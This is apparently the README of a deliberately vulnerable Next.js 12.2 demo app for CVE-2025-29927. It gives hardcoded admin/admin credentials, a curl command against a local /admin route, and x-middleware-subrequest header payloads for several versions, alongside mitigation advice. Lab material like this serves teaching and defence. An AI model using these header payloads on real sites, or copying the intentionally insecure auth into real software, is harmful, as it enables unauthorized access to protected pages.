Hello World - Next.js 12.2

A simple proof of concept Next.js 12.2 application.

🚀 Quick Start

1. Install Dependencies

npm install

2. Run the Development Server

npm run dev

The application will be available at http://localhost:3000

🛠️ Available Scripts

• npm run dev - Start development server
• npm run build - Build for production
• npm run start - Start production server

🎯 Features

• ✅ Next.js 12.2 - Latest stable version
• ✅ React 18.2 - Modern React features
• ✅ Simple Design - Clean, responsive UI
• ✅ Authentication System - Login with hardcoded credentials
• ✅ Admin Panel - Protected dashboard with sensitive data
• ✅ Vulnerable Middleware - Demonstrates auth bypass techniques
• ✅ Exploit Demo - Easy to reproduce security issues

🔧 Customization

Edit pages/index.js to modify the Hello World page. The application uses inline styles for simplicity, but you can add CSS files or styling libraries as needed.

🔓 CVE-2025-29927 Security Demo

This application demonstrates the CVE-2025-29927 vulnerability discovered by Rachid.A (zhero) and Yasser Allam (inzo_):

📋 Vulnerability Details

• CVE: CVE-2025-29927
• CVSS: 9.1/10 (Critical)
• Affected: Next.js 11.1.4 - 15.2.2
• Impact: Complete middleware bypass using x-middleware-subrequest header

🎯 Demo Credentials

• Username: admin
• Password: admin

🚨 CVE-2025-29927 Exploit Methods

1. Browser Extension (ModHeader) - Add x-middleware-subrequest: middleware header
2. JavaScript Console - Use fetch with the bypass header
3. cURL Exploit - curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin
4. Python Requests - Add header to bypass middleware completely

🔧 Payload Variations

• Next.js 12.2+: x-middleware-subrequest: middleware
• With /src directory: x-middleware-subrequest: src/middleware
• Next.js 15.x: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

🛡️ Mitigation

• Update to Next.js 15.2.3+ (14.2.25+ for 14.x)
• Block x-middleware-subrequest header at proxy/CDN level
• Implement additional server-side validation

⚠️ WARNING: This demonstrates a real CVE for educational purposes only!

📦 Dependencies

• next: 12.2.0
• react: 18.2.0
• react-dom: 18.2.0

🎨 Styling

This application uses inline styles for simplicity. For a production app, consider using:

• CSS Modules
• Styled Components
• Tailwind CSS
• Or any other styling solution

Happy coding! 🚀